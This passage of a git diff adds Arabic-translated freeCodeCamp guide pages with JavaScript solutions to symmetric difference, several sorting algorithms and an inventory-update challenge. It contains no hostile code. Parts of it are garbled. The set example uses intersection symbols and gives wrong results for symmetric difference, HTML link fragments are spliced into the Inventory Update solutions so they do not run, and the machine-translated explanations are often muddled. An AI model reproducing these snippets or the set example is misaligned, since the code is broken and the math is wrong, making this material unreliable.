+قم بتطبيق وظيفة المساعد على صفيف الوسيطات الذي تم إنشاؤه ، مما يقلل عناصره بشكل متكرر بشكل متكرر لتشكيل الناتج المتوقع.
+
+**ملحوظة** في حالة وجود _عدد فردي من المجموعات_ ، سيشمل الفرق المتماثل عناصر متطابقة موجودة في جميع المجموعات المحددة. على سبيل المثال؛
+
+ `A = {1, 2, 3} 
+ B = {2, 3, 4} 
+ C = {3, 4, 5} 
+ 
+ (A &Intersection; B) &Intersection; C = {1, 4} &Intersection {3, 4, 5} 
+ A &Intersection; B = {1, 3, 5} 
+` 
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![:warning:](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif ":تحذير:")
+
+**الحل قبل**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function sym() { 
+      var args = []; 
+      for (var i = 0; i < arguments.length; i++) { 
+        args.push(arguments[i]); 
+      } 
+ 
+      function symDiff(arrayOne, arrayTwo) { 
+        var result = []; 
+ 
+        arrayOne.forEach(function(item) { 
+          if (arrayTwo.indexOf(item) < 0 && result.indexOf(item) < 0) { 
+            result.push(item); 
+          } 
+        }); 
+ 
+        arrayTwo.forEach(function(item) { 
+          if (arrayOne.indexOf(item) < 0 && result.indexOf(item) < 0) { 
+            result.push(item); 
+          } 
+        }); 
+ 
+        return result; 
+      } 
+ 
+      // Apply reduce method to args array, using the symDiff function 
+      return args.reduce(symDiff); 
+    } 
+`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) 
+
+ [![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:")](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) [تشغيل الكود](https://repl.it/C4II/0)
+
+### شرح الشفرة:
+
+*   يتم استخدام `push()` لكسر كائن _الحجج_ إلى صفيف ، _args_ .
+*   `symDiff` الدالة `symDiff` على الفرق المتماثل بين مجموعتين. يتم استخدامه كدالة رد اتصال من أجل طريقة `reduce()` تسمى على _arg_ .
+*   `arrayOne.forEach()` العناصر التي _ينتج عنها_ والتي توجد فقط في _arrayOne_ بالإضافة إلى أنها ليست جزءًا من _النتيجة_ .
+*   `arrayTwo.forEach()` العناصر التي _ينتج عنها_ والتي توجد فقط في _arrayTwo_ بالإضافة إلى أنها ليست جزءًا من _النتيجة_ .
+*   يتم إرجاع _النتيجة_ ، وهو الفرق المتناظر. يعمل هذا الحل لأي عدد من المجموعات.
+
+#### روابط ذات صلة
+
+*   [جافا سكريبت ل](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/statements/for)
+*   [JavaScript Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JavaScript Array.prototype.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [JavaScript Array.prototype.forEach ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
+*   [JavaScript Array.prototype.indexOf ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `    function sym() { 
+ 
+      // Convert the argument object into a proper array 
+      var args = Array.prototype.slice.call(arguments); 
+ 
+      // Return the symmetric difference of 2 arrays 
+      var getDiff = function(arr1, arr2) { 
+ 
+        // Returns items in arr1 that don't exist in arr2 
+        function filterFunction(arr1, arr2) { 
+          return arr1.filter(function(item) { 
+            return arr2.indexOf(item) === -1; 
+          }); 
+        } 
+ 
+        // Run filter function on each array against the other 
+        return filterFunction(arr1, arr2) 
+          .concat(filterFunction(arr2, arr1)); 
+      }; 
+ 
+      // Reduce all arguments getting the difference of them 
+      var summary = args.reduce(getDiff, []); 
+ 
+      // Run filter function to get the unique values 
+      var unique = summary.filter(function(elem, index, self) { 
+        return index === self.indexOf(elem); 
+        }); 
+      return unique; 
+    } 
+ 
+    // test here 
+    sym([1, 2, 3], [5, 2, 1, 4]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLoc/0)
+
+### شرح الشفرة:
+
+*   يتم استخدام أسلوب `slice()` لكسر كائن _الوسائط_ إلى صفيف ، _args_ .
+*   `getDiff` الدالة `getDiff` على الفرق المتماثل بين مجموعتين ، _arr1_ و _arr2_ . يتم استخدامه كدالة رد اتصال من أجل طريقة `reduce()` تسمى على _arg_ .
+*   إرجاع `filterFunction()` الأول العناصر في _arr1_ غير موجودة في _arr2_ .
+*   يتم تشغيل `filterFunction()` التالي `filterFunction()` على كل مصفوفة مقابل الآخر للتحقق من معكوس الشيك الأول للتفرد وسَلسَقه.
+*   _ملخص_ يتكون من الحجج المخفضة.
+*   يتم استخدام `filter()` في _الملخص_ للاحتفاظ بالقيم _الفريدة فقط_ ويتم إرجاع _الفريدة_ .
+
+#### روابط ذات صلة
+
+*   [JavaScript Array.prototype.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [JavaScript Array.prototype.filter ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [JavaScript Array.prototype.concat ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `    function sym() { 
+      let argv = Array.from(arguments).reduce(diffArray); 
+      return argv.filter((element, index, array) => index === array.indexOf(element));//remove duplicates 
+    } 
+ 
+    function diffArray(arr1, arr2) { 
+      return arr1 
+        .filter(element => !arr2.includes(element)) 
+        .concat(arr2.filter(element => !arr1.includes(element))); 
+    } 
+ 
+    // test here 
+    sym([1, 2, 3], [5, 2, 1, 4]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/@ashenm/Symmetric-Difference)
+
+### شرح الشفرة:
+
+*   تقوم الدالة الرئيسية _sym ()_ بإنشاء مصفوفة من _الوسيطات_ وتقليل عناصرها باستخدام الدالة المساعد _diffArray ()_ إلى صفيف واحد.
+    
+*   ترجع الدالة _diffArray ()_ الاختلاف المتماثل بين صفيفين عن طريق انتقاء عناصر فريدة في صفائف معلمات ؛ _arr1_ و _arr2_ .
+    
+
+#### روابط ذات صلة
+
+*   [JavaScript Array.from ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
+*   [JavaScript Array.prototype.filter ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md
new file mode 100644
index 0000000000..03357c5e5c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md
@@ -0,0 +1,48 @@
+---
+title: Implement Bubble Sort
+localeTitle: تنفيذ فرز الفقاعة
+---
+## تنفيذ فرز الفقاعة
+
+### طريقة:
+
+*   Bubble Sort عبارة عن خوارزمية الفرز الذي يفرز أو _يفسر_ الرقم الأكبر كعنصر آخر في نهاية كل مسار.
+*   نقارن كل عنصر إلى العنصر الذي قبله ، إذا كان العنصر السابق أصغر ، فإننا نبدل أماكنه.
+*   تعقيد وقت Bubble Sort هو **O (n 2 )** .
+*   إنها خوارزمية **مستقرة** .
+*   ![نوع الفقاعة في العمل](https://upload.wikimedia.org/wikipedia/commons/c/c8/Bubble-sort-example-300px.gif)
+
+### حل:
+
+#### الحل 1: الأساسي
+
+ `function swap(a, b, arr){ 
+  let tmp = arr[a]; 
+  arr[a] = arr[b]; 
+  arr[b] = tmp; 
+ } 
+ function bubbleSort(array) { 
+  for (let i = 0; i < array.length; i++){ 
+    for (let j = 0; j < array.length-1-i; j++){ // -i because the largest element will be bubbled at the end so we don't have to compare. 
+      if (array[j] > array[j+1]){ 
+        swap(j, j+1, array); 
+      } 
+    } 
+  } 
+  return array; 
+ } 
+` 
+
+#### الحل 2: متقدم
+
+`js function bubbleSort(array) { for (let i = 0; i < array.length; i++){ for (let j = 0; j < array.length-1-i; j++){ if (array[j] > array[j+1]) [array[j], array[j+1]] = [array[j+1], array[j]]; // Using ES6 array destructuring to swap } } return array; }`
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Bubble-Sort)
+    
+    ### المراجع:
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/bubble-sort/)
+    
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Bubble_sort)
+    
+*   فيديو من قبل [HackerRank](https://www.youtube.com/watch?v=6Gv8vg0kcHc)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md
new file mode 100644
index 0000000000..1f640d4f06
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md
@@ -0,0 +1,39 @@
+---
+title: Implement Insertion Sort
+localeTitle: تنفيذ فرز الإدراج
+---
+## تنفيذ فرز الإدراج
+
+### طريقة:
+
+*   يفترض إدراج الإدراج أن الصفيف مقسم إلى قسمين:
+
+1.  مرتبة (في البداية العنصر الأول)
+2.  لم يتم فرزها
+
+*   كل تمريرة ، نختار عنصرًا ، ونتحقق من ذلك ضد الصفيف الذي تم فرزه.
+*   إذا كان العنصر المحدد أصغر من العنصر الأخير في الصفيف الذي تم فرزه ، فسنقوم بتبديل المصفوفة التي تم فرزها بمقدار 1 حتى نعثر على الموضع _لإدراج_ العنصر المحدد.
+*   ![نوع الإدراج في العمل](https://upload.wikimedia.org/wikipedia/commons/0/0f/Insertion-sort-example-300px.gif) - [المصدر](https://en.wikipedia.org/wiki/Insertion_sort)
+*   الوقت comlexity من الإدراج الإدراج هو من **O (ن 2 )** .
+*   إنها خوارزمية **مستقرة** .
+
+### حل:
+
+ `function insertionSort(array) { 
+  for (let i = 1; i < array.length; i++){ 
+    let curr = array[i]; 
+    for (var j = i-1; j >= 0 && array[j] > curr; j--){ 
+      array[j+1] = array[j]; 
+    } 
+    array[j+1] = curr; 
+  } 
+  return array; 
+ } 
+` 
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Insertion-Sort)
+
+### المراجع:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Insertion_sort)
+*   [أكاديمية خان](https://www.youtube.com/watch?v=lCzQvQr8Utw)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md
new file mode 100644
index 0000000000..0934c6cbc8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md
@@ -0,0 +1,55 @@
+---
+title: Implement Merge Sort
+localeTitle: تنفيذ فرز دمج
+---
+## تنفيذ فرز دمج
+
+### طريقة:
+
+*   دمج تصنيف هو مشكلة الانقسام والتغلب الكلاسيكية.
+*   يتم تضمين الخطوات التالية:
+*   القسمة: نكسر الصفيف من المنتصف باستخدام الانطواء حتى يتم تركنا مع عنصر واحد.
+*   Conquer: ثم نفرز هذه المصفوفات الصغيرة.
+*   الجمع: وأخيرًا ، ندمج هذه المصفوفات الصغيرة في مصفوفة مرتبة واحدة ونستمر في فعلها حتى نجمع كل المصفوفات.
+*   وقت تعقيد دمج **المزيج** هو **O (nlogn)** .
+*   تعقيد الفضاء لفرز الدمج هو **O (n)** .
+*   إنها خوارزمية **مستقرة** .
+*   ![دمج الفرز في العمل](https://upload.wikimedia.org/wikipedia/commons/c/cc/Merge-sort-example-300px.gif)
+
+### حل:
+
+ `//Merger function, which merges 2 sorted array into 1 sorted array 
+ function merger(arr1, arr2){ 
+  let i = 0, j = 0, mergedArr = []; 
+  while (i < arr1.length && j < arr2.length){ 
+    if (arr1[i] > arr2[j]) mergedArr.push(arr2[j++]); 
+    else mergedArr.push(arr1[i++]); 
+  } 
+  while (i < arr1.length){ 
+    mergedArr.push(arr1[i++]); 
+  } 
+  while (j < arr2.length){ 
+    mergedArr.push(arr2[j++]); 
+  } 
+  return mergedArr; 
+ } 
+ function mergeSort(array) { 
+  //Array of length 1 is sorted so we return the same array back 
+  if (array.length == 1) return array; 
+ 
+  //Break down the array to half from middle into left and right 
+  let middle = Math.floor(array.length/2); 
+  let left = mergeSort(array.slice(0, middle)); 
+  let right = mergeSort(array.slice(middle)); 
+ 
+  //Return the merged sorted array 
+  return merger(left, right); 
+ } 
+` 
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Merge-Sort)
+
+### المراجع:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Merge_sort)
+*   فيديو من قبل [Hackerrank](https://www.youtube.com/watch?v=KF2j-9iSf4Q)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md
new file mode 100644
index 0000000000..0c4b06500e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md
@@ -0,0 +1,55 @@
+---
+title: Implement Quick Sort
+localeTitle: تنفيذ فرز سريع
+---
+## تنفيذ فرز سريع
+
+### طريقة:
+
+*   الفرز السريع هو خوارزمية الفرز كفاءة. إنها خوارزمية موضعية بحيث لا تأخذ أي مساحة إضافية.
+*   أولاً ، اختر نقطة محورية عشوائية حولها تحريك جميع العناصر الأصغر إليها إلى يسارها والعناصر الأكبر إلى يمينها.
+*   بعد الحصول على pivotIndex والذي هو بشكل أساسي الموضع الثابت لهذا العنصر ، نجد pivotIndex أخرى عن طريق استدعاء هذه الوظيفة.
+*   حالة أسوأ فرز سريع هي **O (n 2 )** ولكن يمكن تجنب ذلك إذا اخترنا نقطة محورية عشوائية ، وبهذه الطريقة يكون O كبيرًا **O (nlogn)** .
+*   إنه تعقيد الفضاء هو **O (logn)** .
+*   إنها خوارزمية **غير مستقرة** .
+*   ![فرز سريع في العمل](https://upload.wikimedia.org/wikipedia/commons/6/6a/Sorting_quicksort_anim.gif)
+
+### حل:
+
+ `//Swapping array elements via ES6 array destructuring 
+ function swap(arr, x, y){ 
+  [arr[x], arr[y]] = [arr[y], arr[x]]; 
+ } 
+ 
+ //Pivot function returns the fixed pivot point 
+ function pivot(arr, left = 0, right = arr.length-1){ 
+  let shift = left; 
+  for (let i = left+1; i <= right; i++){ 
+ 
+    //Move all the small elements on the left side 
+    if (arr[i] < arr[left]) swap(arr, i, ++shift); 
+  } 
+ 
+  //Finally swapping the last element with the left 
+  swap(arr, left, shift); 
+  return shift; 
+ } 
+ 
+ function quickSort(array, left = 0, right = array.length-1) { 
+  if (left < right){ 
+    let pivotIndex = pivot(array, left, right); 
+ 
+    //Recusrively calling the function to the left of the pivot and to the right of the pivot 
+    quickSort(array, left, pivotIndex-1); 
+    quickSort(array, pivotIndex+1, right); 
+  } 
+  return array; 
+ } 
+` 
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Quick-Sort)
+
+### مرجع:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Quicksort)
+*   [أكاديمية خان](https://www.khanacademy.org/computing/computer-science/algorithms/quick-sort/a/overview-of-quicksort)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md
new file mode 100644
index 0000000000..0e754a2251
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md
@@ -0,0 +1,40 @@
+---
+title: Implement Selection Sort
+localeTitle: تنفيذ فرز التحديد
+---
+## تنفيذ فرز التحديد
+
+### طريقة:
+
+*   Selection Sort هي واحدة من خوارزميات الفرز الأسهل لفهمها وتنفيذها.
+*   تقسم هذه الخوارزمية المصفوفة في جزأين:
+
+1.  مرتبة
+2.  لم يتم فرزها
+
+*   الجزء Sorted موجود في بداية الصفيف و الجزء غير المُرتب بعد ذلك.
+*   كل تمريرة ، في البداية نفترض أن يكون العنصر الأول هو الأصغر ثم نكرر من خلال المجموعة بأكملها _ونختار_ أصغر عنصر. في نهاية التمريرة ، سنقوم بتبديل أصغر عنصر إلى الصفيف الذي تم فرزه.
+*   لديه تعقيد زمني **O (n 2 )** .
+
+### حل:
+
+ `function swap(a, b, arr){ 
+  let tmp = arr[a]; 
+  arr[a] = arr[b]; 
+  arr[b] = tmp; 
+ } 
+ function selectionSort(array) { 
+  for (let i = 0; i < array.length-1; i++){ 
+    let min = i; 
+    for (let j = i+1; j < array.length; j++){ 
+      if (array[min] > array[j]) min = j; 
+    } 
+    swap(i, min, array); 
+  } 
+  return array; 
+ } 
+` 
+
+### المراجع:
+
+*   اقرأ حول اختيار التصنيف في [ويكيبيديا](https://en.wikipedia.org/wiki/Selection_sort)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/index.md
new file mode 100644
index 0000000000..d9e0de05e7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Algorithms
+localeTitle: خوارزميات
+---
+## خوارزميات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/inventory-update/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/inventory-update/index.md
new file mode 100644
index 0000000000..06d54e2a4c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/inventory-update/index.md
@@ -0,0 +1,291 @@
+---
+title: Inventory Update
+localeTitle: تحديث المخزون
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+في هذه المشكلة ، يتعين عليك مقارنة المخزون الذي تم تخزينه في صفيف ثنائي الأبعاد وتحديثه مقابل مصفوفة ثنائية الأبعاد ثانية من التسليم الجديد. قم بتحديث كميات بند المخزون الحالية الموجودة (في `arr1` ). إذا تعذر العثور على عنصر ، فأضف العنصر والكمية الجديدة إلى مصفوفة المخزون. يجب أن يكون صفيف المخزون الذي تم إرجاعه بترتيب أبجدي حسب العنصر.
+
+سيكون المخزون الحالي والجديد بهذا التنسيق: `[[2, "item-0"], [3, "item-1"], [67, "item-2"], [7, "item-3"]]` .
+
+#### روابط ذات صلة
+
+*   [JS المصفوفة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+تحتاج إلى العمل من خلال كل عنصر من المخزون الجديد لمعرفة ما إذا كان موجودًا في المخزون الحالي أم لا. تذكر أنه يتم تخزين اسم المنتج كعنصر ثانٍ لكل صفيف فرعي: `array[0][1] = "item-name"` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+إذا كان العنصر موجودًا ، فستحتاج إلى إضافة الكمية من المخزون الجديد. إذا كان العنصر غير موجود ، فستحتاج إلى إضافة العنصر بأكمله.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+إعادة المخزون المكتمل حسب الترتيب الأبجدي.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function updateInventory(arr1, arr2) { 
+ 
+        // Variable for location of product 
+        var index; 
+ 
+        // A helper method to return the index of a specified product (undefined if not found) 
+        var getProductIndex = function (name) { 
+            for (var i = 0; i < this.length; i++) { 
+                if (this<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>i][1] === name) { 
+                    return i; 
+                } 
+            } 
+            return undefined; 
+        } 
+ 
+        // For each item of the new Inventory 
+        for (var i = 0; i < arr2.length; i++) { 
+ 
+            // Invoke our helper function using arr1 as this 
+            index = getProductIndex.call(arr1, arr2[i][1]); 
+ 
+            // If the item doesn't exist 
+            if (index === undefined) { 
+                // Push the entire item 
+                arr1.push(arr2[i]); 
+            } else { 
+                // Add the new quantity of the current item 
+                arr1[index][0] += arr2[i][0]; 
+            } 
+ 
+        } 
+ 
+        // Sort alphabetically, by the product name of each item 
+        arr1.sort(function (a, b) { 
+            if (a[1] > b[1]) { 
+                return 1; 
+            } 
+            if (a[1] < b[1]) { 
+                return -1; 
+            } 
+            return 0; 
+        }); 
+ 
+        return arr1; 
+    } 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLok/0)
+
+### شرح الشفرة:
+
+*   يخزن **مؤشر** المتغير موقع (فهرس) منتج.
+*   `getProductIndex()` دالة المساعد `getProductIndex()` فهرس المنتج المحدد. يتكرر خلال كل عنصر من المصفوفة التي يتم استدعاؤها حتى يمكن العثور على معلمة الاسم. إذا لم يتم العثور على المنتج في المخزون ، يتم إرجاع غير `undefined` .
+*   ثم ، يتم عمل كل عنصر في المخزون الجديد (التسليم) من خلال:
+*   تم تعيين **الفهرس** على نتيجة استدعاء دالة المساعد ، أي البحث في المستودع الجديد عن اسم هذا المنتج وإعادته إلى الفهرس.
+*   إذا تم العثور على العنصر ، يتم إضافة كمية المنتج إلى كمية نفس المنتج في المخزون الحالي.
+*   إذا لم يتم العثور على العنصر ، فسيتم إضافة المنتج بالكامل (الاسم والكمية) إلى المخزون الحالي.
+*   ثم يتم فرز المخزون المحدث ، **arr1** ، حسب اسم المنتج (يُعقد في `arr1[x][1]` ).
+*   ثم يتم إرجاع الصفيف النهائي - تحديث وكذلك فرزها.
+
+#### روابط ذات صلة
+
+*   [شبيبة هذا](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/this)
+*   [JS Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JS Array.prototype.push ()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS Array.prototype.sort ()](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `    function updateInventory(arr1, arr2) { 
+      // All inventory must be accounted for or you're fired! 
+ 
+      var index; 
+      var arrCurInvName = <a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>]; // Names of arr1's items 
+      var arrNeInvName = []; // Names of arr2's items 
+ 
+      // Same as using two for loops, this takes care of increasing the number of stock quantity. 
+      arr1.map(function(item1) { 
+        return arr2.map(function(item2) { 
+          if (item1[1] === item2[1]) { 
+            item1[0] = item1[0] + item2[0]; //Increase number of stock 
+          } 
+        }); 
+      }); 
+ 
+      // Get item's name for new Inventory 
+      arr2.map(function(item) { 
+        arrNeInvName.push(item[1]); 
+      }); 
+ 
+      // Get item's name for Current Inventory 
+      arr1.map(function(item) { 
+        arrCurInvName.push(item[1]); 
+      }); 
+ 
+      // Add new inventory items to current inventory. 
+      arrNeInvName.map(function(item) { 
+        if (arrCurInvName.indexOf(item) === -1) { 
+          index = arrNeInvName.indexOf(item); 
+          arr1.push(arr2[index]); 
+        } 
+      }); 
+ 
+      // Sort the array alphabetically using the second element of the array as base. 
+      arr1.sort(function(currItem, nextItem) { 
+ 
+        //Ternary function to avoid using if else 
+        return currItem[1] > nextItem[1] ? 1 : -1; 
+      }); 
+ 
+      return arr1; 
+    } 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLol/0)
+
+### شرح الشفرة:
+
+*   يخزن **مؤشر** المتغير موقع (فهرس) منتج.
+*   لدى **arrCurInvName** أسماء عناصر **arr1** .
+*   لدى **arrNeInvName** أسماء عناصر **arr2** .
+*   `arr1.map(function(item1))` تعتني بالعناصر الموجودة بالفعل في المخزون ، أي أنها تزيد الكمية في المخزون.
+*   المقبل ، `arr2.map(function(item))` و `arr1.map(function(item))` الحصول على أسماء العناصر للمخزون الجديد والحالي على التوالي.
+*   `arrNeInvName.map(function(item))` يعالج العناصر التي لا توجد بالفعل في المخزون أي ، يضيف عناصر جديدة إلى المخزون.
+*   ثم يتم فرز الصفيف المحدّث **arr1** أبجديًا حسب اسم المنتج ( `arr1[x][1]` في `arr1[x][1]` ) ويُعاد.
+
+#### روابط ذات صلة
+
+*   [JS Array.prototype.map ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [JS Array.prototype.indexOf ()](http://forum.freecodecamp.com/t/javascript-array-prototype-indexof/14291)
+*   [مشغل JS الثلاثي](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `    function updateInventory(arr1, arr2) { 
+      // All inventory must be accounted for or you're fired! 
+ 
+      // convert current inventory (arr1) to an one-dimensional array 
+      const inventory = Array.prototype.concat.apply([], arr1); 
+ 
+      // loop through new delivery (arr2) 
+      for (let i = 0; i < arr2.length; i++) { 
+ 
+        // extract item properties for easy reference 
+        const item = arr2[i][1]; 
+        const quantity = arr2[i][0]; 
+ 
+        // check if item already exists in inventory 
